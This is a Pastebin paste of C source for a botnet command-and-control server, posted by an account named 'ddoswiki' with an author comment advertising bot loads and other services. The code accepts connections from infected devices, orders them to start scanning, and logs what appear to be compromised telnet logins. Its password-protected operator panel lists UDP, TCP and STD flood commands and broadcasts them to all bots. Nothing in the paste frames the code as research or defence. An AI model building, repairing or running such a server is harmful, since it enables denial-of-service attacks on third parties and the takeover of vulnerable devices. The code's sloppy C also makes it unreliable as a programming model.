ddoswiki

King Server Side

Dec 10th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.28 KB | None | 0 0
  1. /*
  2. Created by: King
  3.  
  4. HMU for services
  5. Custom server Sides, VPN's, NET Set ups, Bot Loads, and more
  6. Go follow my instagram\/\/\/
  7. @kings_nfos
  8.  
  9. */
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <stdint.h>
  13. #include <inttypes.h>
  14. #include <string.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <fcntl.h>
  21. #include <sys/epoll.h>
  22. #include <errno.h>
  23. #include <pthread.h>
  24. #include <signal.h>
  25. #include <arpa/inet.h>
  26. #define MAXFDS 1000000
  27. //////////////////////////////////
  28. struct login_info {
  29. char username[20];
  30. char password[20];
  31. };
  32. static struct login_info accounts[22];
  33. struct clientdata_t {
  34. uint32_t ip;
  35. char connected;
  36. } clients[MAXFDS];
  37. struct telnetdata_t {
  38. int connected;
  39. } managements[MAXFDS];
  40. struct args {
  41. int sock;
  42. struct sockaddr_in cli_addr;
  43. };
  44. static volatile FILE *telFD;
  45. static volatile FILE *fileFD;
  46. static volatile int epollFD = 0;
  47. static volatile int listenFD = 0;
  48. static volatile int OperatorsConnected = 0;
  49. static volatile int TELFound = 0;
  50. static volatile int scannerreport;
  51. //////////////////////////////////
  52. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  53. int total = 0, got = 1;
  54. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  55. return got;
  56. }
  57. void trim(char *str) {
  58. int i;
  59. int begin = 0;
  60. int end = strlen(str) - 1;
  61. while (isspace(str[begin])) begin++;
  62. while ((end >= begin) && isspace(str[end])) end--;
  63. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  64. str[i - begin] = '\0';
  65. }
  66. static int make_socket_non_blocking (int sfd) {
  67. int flags, s;
  68. flags = fcntl (sfd, F_GETFL, 0);
  69. if (flags == -1) {
  70. perror ("fcntl");
  71. return -1;
  72. }
  73. flags |= O_NONBLOCK;
  74. s = fcntl (sfd, F_SETFL, flags);
  75. if (s == -1) {
  76. perror ("fcntl");
  77. return -1;
  78. }
  79. return 0;
  80. }
  81. static int create_and_bind (char *port) {
  82. struct addrinfo hints;
  83. struct addrinfo *result, *rp;
  84. int s, sfd;
  85. memset (&hints, 0, sizeof (struct addrinfo));
  86. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  87. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  88. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  89. s = getaddrinfo (NULL, port, &hints, &result);
  90. if (s != 0) {
  91. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  92. return -1;
  93. }
  94. for (rp = result; rp != NULL; rp = rp->ai_next) {
  95. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  96. if (sfd == -1) continue;
  97. int yes = 1;
  98. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  99. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  100. if (s == 0) {
  101. break;
  102. }
  103. close (sfd);
  104. }
  105. if (rp == NULL) {
  106. fprintf (stderr, "Could not bind\n");
  107. return -1;
  108. }
  109. freeaddrinfo (result);
  110. return sfd;
  111. }
  112. void broadcast(char *msg, int us, char *sender)
  113. {
  114. int sendMGM = 1;
  115. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  116. char *wot = malloc(strlen(msg) + 10);
  117. memset(wot, 0, strlen(msg) + 10);
  118. strcpy(wot, msg);
  119. trim(wot);
  120. time_t rawtime;
  121. struct tm * timeinfo;
  122. time(&rawtime);
  123. timeinfo = localtime(&rawtime);
  124. char *timestamp = asctime(timeinfo);
  125. trim(timestamp);
  126. int i;
  127. for(i = 0; i < MAXFDS; i++)
  128. {
  129. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  130. if(sendMGM && managements[i].connected)
  131. {
  132. send(i, "\x1b[37m", 5, MSG_NOSIGNAL);
  133. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  134. send(i, ": ", 2, MSG_NOSIGNAL);
  135. }
  136. //printf("sent to fd: %d\n", i);
  137. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  138. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;37m~> \x1b[1;37m", 13, MSG_NOSIGNAL);
  139. else send(i, "\n", 1, MSG_NOSIGNAL);
  140. }
  141. free(wot);
  142. }
  143. void *BotEventLoop(void *useless) {
  144. struct epoll_event event;
  145. struct epoll_event *events;
  146. int s;
  147. events = calloc (MAXFDS, sizeof event);
  148. while (1) {
  149. int n, i;
  150. n = epoll_wait (epollFD, events, MAXFDS, -1);
  151. for (i = 0; i < n; i++) {
  152. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  153. clients[events[i].data.fd].connected = 0;
  154. close(events[i].data.fd);
  155. continue;
  156. }
  157. else if (listenFD == events[i].data.fd) {
  158. while (1) {
  159. struct sockaddr in_addr;
  160. socklen_t in_len;
  161. int infd, ipIndex;
  162.  
  163. in_len = sizeof in_addr;
  164. infd = accept (listenFD, &in_addr, &in_len);
  165. if (infd == -1) {
  166. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  167. else {
  168. perror ("accept");
  169. break;
  170. }
  171. }
  172.  
  173. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  174. int dup = 0;
  175. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  176. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  177. if(clients[ipIndex].ip == clients[infd].ip) {
  178. dup = 1;
  179. break;
  180. }}
  181. if(dup) {
  182. if(send(infd, "!* ITRIEDTODUPBUTNAH\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  183. close(infd);
  184. continue;
  185. }
  186. s = make_socket_non_blocking (infd);
  187. if (s == -1) { close(infd); break; }
  188. event.data.fd = infd;
  189. event.events = EPOLLIN | EPOLLET;
  190. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  191. if (s == -1) {
  192. perror ("epoll_ctl");
  193. close(infd);
  194. break;
  195. }
  196. clients[infd].connected = 1;
  197. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  198. }
  199. continue;
  200. }
  201. else {
  202. int datafd = events[i].data.fd;
  203. struct clientdata_t *client = &(clients[datafd]);
  204. int done = 0;
  205. client->connected = 1;
  206. while (1) {
  207. ssize_t count;
  208. char buf[2048];
  209. memset(buf, 0, sizeof buf);
  210. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  211. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  212. trim(buf);
  213. if(strcmp(buf, "PING") == 0) {
  214. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  215. continue;
  216. }
  217. if(strstr(buf, "REPORT ") == buf) {
  218. char *line = strstr(buf, "REPORT ") + 7;
  219. fprintf(telFD, "%s\n", line);
  220. fflush(telFD);
  221. TELFound++;
  222. continue;
  223. }
  224. if(strstr(buf, "PROBING") == buf) {
  225. char *line = strstr(buf, "PROBING");
  226. scannerreport = 1;
  227. continue;
  228. }
  229. if(strstr(buf, "REMOVING PROBE") == buf) {
  230. char *line = strstr(buf, "REMOVING PROBE");
  231. scannerreport = 0;
  232. continue;
  233. }
  234. if(strcmp(buf, "PONG") == 0) {
  235. continue;
  236. }
  237. printf("\"%s\"\n", buf);
  238. }
  239. if (count == -1) {
  240. if (errno != EAGAIN) {
  241. done = 1;
  242. }
  243. break;
  244. }
  245. else if (count == 0) {
  246. done = 1;
  247. break;
  248. }
  249. if (done) {
  250. client->connected = 0;
  251. close(datafd);
  252. }
  253. }
  254. }
  255. }
  256. }
  257. }
  258. unsigned int BotsConnected() {
  259. int i = 0, total = 0;
  260. for(i = 0; i < MAXFDS; i++) {
  261. if(!clients[i].connected) continue;
  262. total++;
  263. }
  264. return total;
  265. }
  266. void *TitleWriter(void *sock) {
  267. int datafd = (int)sock;
  268. char string[2048];
  269. while(1) {
  270. memset(string, 0, 2048);
  271. sprintf(string, "%c]0;Bots: %d ~ users: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  272. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  273. sleep(2);
  274. }}
  275. int Find_Login(char *str) {
  276. FILE *fp;
  277. int line_num = 0;
  278. int find_result = 0, find_line=0;
  279. char temp[512];
  280.  
  281. if((fp = fopen("login.txt", "r")) == NULL){
  282. return(-1);
  283. }
  284. while(fgets(temp, 512, fp) != NULL){
  285. if((strstr(temp, str)) != NULL){
  286. find_result++;
  287. find_line = line_num;
  288. }
  289. line_num++;
  290. }
  291. if(fp)
  292. fclose(fp);
  293. if(find_result == 0)return 0;
  294. return find_line;
  295. }
  296. void *BotWorker(void *sock) {
  297. int datafd = (int)sock;
  298. int find_line;
  299. OperatorsConnected++;
  300. pthread_t title;
  301. char buf[2048];
  302. char* username;
  303. char* password;
  304. memset(buf, 0, sizeof buf);
  305. char botnet[2048];
  306. memset(botnet, 0, 2048);
  307.  
  308. FILE *fp;
  309. int i=0;
  310. int c;
  311. fp=fopen("login.txt", "r");
  312. while(!feof(fp)) {
  313. c=fgetc(fp);
  314. ++i;
  315. }
  316. int j=0;
  317. rewind(fp);
  318. while(j!=i-1) {
  319. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  320. ++j;
  321. }
  322.  
  323. if(send(datafd, "\x1b[1;32mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  324. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  325. trim(buf);
  326. char* nickstring;
  327. sprintf(accounts[find_line].username, buf);
  328. nickstring = ("%s", buf);
  329. find_line = Find_Login(nickstring);
  330. if(strcmp(nickstring, accounts[find_line].username) == 0){
  331. if(send(datafd, "\x1b[1;32mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  332. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  333. trim(buf);
  334. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  335. memset(buf, 0, 2048);
  336. goto Banner;
  337. }
  338. failed:
  339. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  340. char failed_line1[80];
  341.  
  342. sprintf(failed_line1, "\x1b[1;37mWrong Answer Bitch Here\r\n");
  343. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  344. sleep(5);
  345. goto end;
  346.  
  347. Banner:
  348. pthread_create(&title, NULL, &TitleWriter, sock);
  349. if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  350. char ascii_banner_line1 [5000];
  351. char ascii_banner_line2 [5000];
  352. char ascii_banner_line3 [5000];
  353. char ascii_banner_line4 [5000];
  354. char ascii_banner_line5 [5000];
  355. char ascii_banner_line6 [5000];
  356. char ascii_banner_line7 [5000];
  357. char ascii_banner_line8 [5000];
  358.  
  359. sprintf(ascii_banner_line1, "\x1b[1;37m██\x1b[31m╗ \x1b[37m██\x1b[31m╗\x1b[37m██\x1b[31m╗\x1b[37m███\x1b[31m╗ \x1b[37m██\x1b[31m╗\x1b[37m ██████\x1b[31m╗ \r\n");
  360. sprintf(ascii_banner_line2, "\x1b[1;37m██\x1b[31m║ \x1b[37m██\x1b[31m╔╝\x1b[37m██\x1b[31m║\x1b[37m████\x1b[31m╗ \x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m╔════╝ \r\n");
  361. sprintf(ascii_banner_line3, "\x1b[1;37m█████\x1b[31m╔╝ \x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m╔\x1b[37m██\x1b[31m╗ \x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m║ \x1b[37m███\x1b[31m╗\r\n");
  362. sprintf(ascii_banner_line4, "\x1b[1;37m██\x1b[31m╔═\x1b[37m██\x1b[31m╗ \x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m║╚\x1b[37m██\x1b[31m╗\x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m║ \x1b[37m██\x1b[31m║\r\n");
  363. sprintf(ascii_banner_line5, "\x1b[1;37m██\x1b[31m║ \x1b[37m██\x1b[31m╗\x1b[37m██\x1b[31m║\x1b[37m██\x1b[31m║ ╚\x1b[37m████\x1b[31m║╚\x1b[37m██████\x1b[31m╔╝\r\n");
  364. sprintf(ascii_banner_line6, "\x1b[1;31m╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ \r\n");
  365. sprintf(ascii_banner_line7, "\x1b[1;37m Welcome To Kings NET \r\n");
  366. sprintf(ascii_banner_line8, "\x1b[1;31m Type help for HELP \r\n");
  367. if (send(datafd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  368. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  369. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  370. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  376. while(1) {
  377. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  378. break;
  379. }
  380. pthread_create(&title, NULL, &TitleWriter, sock);
  381. managements[datafd].connected = 1;
  382.  
  383. while(fdgets(buf, sizeof buf, datafd) > 0)
  384. {
  385. if(strstr(buf, "bots")) {
  386. char botcount [2048];
  387. memset(botcount, 0, 2048);
  388. sprintf(botcount, "\x1b[1;37mBots: %d ~ Users: %d\r\n", BotsConnected(), OperatorsConnected);
  389. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  390. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  391. continue;
  392. }
  393. if(strstr(buf, "help")) {
  394. pthread_create(&title, NULL, &TitleWriter, sock);
  395. char helpline1 [80];
  396. char helpline2 [80];
  397. char helpline3 [80];
  398. char helpline4 [80];
  399. char helpline5 [80];
  400. char helpline6 [80];
  401. char helpline7 [80];
  402. char helpline8 [80];
  403. char helpline9 [80];
  404.  
  405. sprintf(helpline1, "\x1b[1;31m~Attack Commands~\r\n");
  406. sprintf(helpline2, "\x1b[1;37mUDP Attack ~ !* UDP IP Port Time 32 0 1\r\n");
  407. sprintf(helpline3, "\x1b[1;31mTCP Attack ~ !* TCP IP Port Time 32 all 0 1\r\n");
  408. sprintf(helpline4, "\x1b[1;37mSTD Attack ~ !* STD IP Port Time\r\n");
  409. sprintf(helpline5, "\x1b[1;31m\r\n");
  410. sprintf(helpline6, "\x1b[1;37m~General Commands~\r\n");
  411. sprintf(helpline7, "\x1b[1;31mBot Count ~ bots\r\n");
  412. sprintf(helpline8, "\x1b[1;37mKill Attacks ~ !* KILLATTK\r\n");
  413. sprintf(helpline9, "\x1b[1;31mClear Screen ~ CLEAR | cls\r\n");
  414.  
  415. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  416. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  417. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  418. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  419. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  420. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  421. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  422. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  423. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  424. pthread_create(&title, NULL, &TitleWriter, sock);
  425. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  426. continue;
  427. }
  428. if(strstr(buf, "cls")) {
  429. char clearscreen [2048];
  430. memset(clearscreen, 0, 2048);
  431. sprintf(clearscreen, "\033[2J\033[1;1H");
  432. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  440. while(1) {
  441. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  442. break;
  443. }
  444. continue;
  445. }
  446. if(strstr(buf, "cls")) {
  447. char clearscreen [2048];
  448. memset(clearscreen, 0, 2048);
  449. sprintf(clearscreen, "\033[2J\033[1;1H");
  450. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  454. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  455. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  457. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  458. while(1) {
  459. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 12, MSG_NOSIGNAL) == -1) goto end;
  460. break;
  461. }
  462. continue;
  463. }
  464. if(strstr(buf, "LOG")) {
  465. char logoutmessage [2048];
  466. memset(logoutmessage, 0, 2048);
  467. sprintf(logoutmessage, "\x1b[1;37mBotnet Shutting Down, User %s Signing Out...", accounts[find_line].username);
  468. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  469. sleep(5);
  470. goto end;
  471. }
  472. trim(buf);
  473. if(send(datafd, "\x1b[1;31m~> \x1b[1;31m", 11, MSG_NOSIGNAL) == -1) goto end;
  474. if(strlen(buf) == 0) continue;
  475. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  476.  
  477. FILE *LogFile;
  478. LogFile = fopen("sex.log", "a");
  479. time_t now;
  480. struct tm *gmt;
  481. char formatted_gmt [50];
  482. char lcltime[50];
  483. now = time(NULL);
  484. gmt = gmtime(&now);
  485. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  486. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  487. fclose(LogFile);
  488. broadcast(buf, datafd, accounts[find_line].username);
  489. memset(buf, 0, 2048);
  490. }
  491. end:
  492. managements[datafd].connected = 0;
  493. close(datafd);
  494. OperatorsConnected--;
  495. }
  496. void *BotListener(int port)
  497. {
  498. int sockfd, newsockfd;
  499. socklen_t clilen;
  500. struct sockaddr_in serv_addr, cli_addr;
  501. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  502. if (sockfd < 0) perror("ERROR opening socket");
  503. bzero((char *) &serv_addr, sizeof(serv_addr));
  504. serv_addr.sin_family = AF_INET;
  505. serv_addr.sin_addr.s_addr = INADDR_ANY;
  506. serv_addr.sin_port = htons(port);
  507. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  508. listen(sockfd,5);
  509. clilen = sizeof(cli_addr);
  510. while(1)
  511.  
  512. { printf("Security Breach From: ");
  513. client_addr(cli_addr);
  514. FILE *logFile;
  515. logFile = fopen("IP.log", "a");
  516. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  517. fclose(logFile);
  518. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  519. if (newsockfd < 0) perror("ERROR on accept");
  520. pthread_t thread;
  521. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  522. }
  523. }
  524. int main (int argc, char *argv[], void *sock)
  525. {
  526. signal(SIGPIPE, SIG_IGN);
  527. int s, threads, port;
  528. struct epoll_event event;
  529. if (argc != 4) {
  530. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  531. exit (EXIT_FAILURE);
  532. }
  533. port = atoi(argv[3]);
  534. telFD = fopen("telnet.txt", "a+");
  535. threads = atoi(argv[2]);
  536. listenFD = create_and_bind (argv[1]);
  537. if (listenFD == -1) abort ();
  538. s = make_socket_non_blocking (listenFD);
  539. if (s == -1) abort ();
  540. s = listen (listenFD, SOMAXCONN);
  541. if (s == -1) {
  542. perror ("listen");
  543. abort ();
  544. }
  545. epollFD = epoll_create1 (0);
  546. if (epollFD == -1) {
  547. perror ("epoll_create");
  548. abort ();
  549. }
  550. event.data.fd = listenFD;
  551. event.events = EPOLLIN | EPOLLET;
  552. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  553. if (s == -1) {
  554. perror ("epoll_ctl");
  555. abort ();
  556. }
  557. pthread_t thread[threads + 2];
  558. while(threads--) {
  559. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  560. }
  561. pthread_create(&thread[0], NULL, &BotListener, port);
  562. while(1) {
  563. broadcast("PING", -1, "FBI");
  564. sleep(60);
  565. }
  566. close (listenFD);
  567. return EXIT_SUCCESS;
  568. }
  569. void client_addr(struct sockaddr_in addr){
  570. printf("IP:%d.%d.%d.%d\n",
  571. addr.sin_addr.s_addr & 0xFF,
  572. (addr.sin_addr.s_addr & 0xFF00)>>8,
  573. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  574. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  575. FILE *logFile;
  576. logFile = fopen("server.log", "a");
  577. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  578. addr.sin_addr.s_addr & 0xFF,
  579. (addr.sin_addr.s_addr & 0xFF00)>>8,
  580. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  581. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  582. fclose(logFile);
  583. }
Add Comment
Please, Sign In to add comment